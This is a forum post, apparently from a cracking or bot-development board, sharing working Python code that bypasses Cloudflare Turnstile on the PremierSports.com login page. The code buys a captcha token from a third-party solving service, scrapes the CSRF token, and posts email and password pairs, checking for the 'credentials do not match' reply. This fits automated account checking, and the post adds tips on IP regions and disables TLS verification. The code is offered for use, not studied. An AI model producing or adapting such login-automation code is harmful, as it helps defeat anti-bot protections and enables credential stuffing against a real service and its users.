ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!

Jump to content



Photo

CloudFlare turnstile resolved, PremierSports.com login source code.


  • Please log in to reply
CloudFlare turnstile resolved, PremierSports.com login source code.

#1

sysdemo
sysdemo
    Offline
    0
    Rep
    0
    Likes

    Member

Posts: 25
Threads: 14
Joined: Jul 23, 2024
Credits: 0
#1

The login of https://www.premiersports.com/us/login switched from recaptcha to CloudFlare turnstile, but it is also simple, and it is easy to solve it.

 

However, it should be noted that: Keep the website and IP in the same region, otherwise the address will be adjusted to the region and you will not be able to log in successfully.

 

The following is the python code, modify your clearcaptcha token to see the effect.

import requests
import json
import re
import sys

# captcha api config on https://www.clearcaptcha.com 
clearcaptcha_api="http://api.clearcaptcha.com/captcha/cloudflare_turnstile";
#change your token
token = 'test' 
#Keep the website and IP in the same region, otherwise the address will be adjusted to the region and you will not be able to log in successfully.
url = "https://www.premiersports.com/us/login" 
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
chlApiSitekey = "0x4AAAAAAAhLu-06g4o3tB7m"

session=requests.session()

post_data = {
    "token": token,
    "url": url,
    "chlApiSitekey": chlApiSitekey,
}
post_data=json.dumps(post_data)

response = requests.post(clearcaptcha_api, data=post_data)
if response.status_code == 200:
    response_data = response.json()
    print(response_data)
else:
    print({
        "error": "api error",
        "status_code": response.status_code,
        "response": response.text
    })
    

cf_turnstile_token=response_data.get("data", {}).get("cf_turnstile_token", {})

headers={
        "Content-Type":"application/x-www-form-urlencoded",
        "User-Agent": user_agent,
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br, zstd",
        "Referer": "https://www.premiersports.com/us/login",
        "Origin": "https://www.premiersports.com/us/login",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Connection": "keep-alive",
        "Priority": "u=1"
    }

response = session.get(url,headers=headers,verify=False)
responseText=response.text
match= re.search(r'<meta\s+name="csrf-token"\s+content="([^"]+)"', responseText)
if match:
    csrf_token = match.group(1)
    print(csrf_token)
else:
    print(f" not found csrf-token")
    sys.exit(1) 
    
post_data =  {
    "email": "[email protected]",
    "password": "test123456",
    "remember":"on",
    "_token":csrf_token,
    "cf-turnstile-response":cf_turnstile_token,
    "g-recaptcha-response":cf_turnstile_token,
}

response = session.post(url, data=post_data,headers=headers,verify=False)
responseText=response.text
if "These credentials do not match our records" in responseText:
    #Continue with the following operation 
    print("These credentials do not match our records.");
else:
    response_data={
        "error": "api error",
        "status_code": response.status_code,
        "response": ""
    }
    

  • 0


 Users browsing this thread: and 1 guests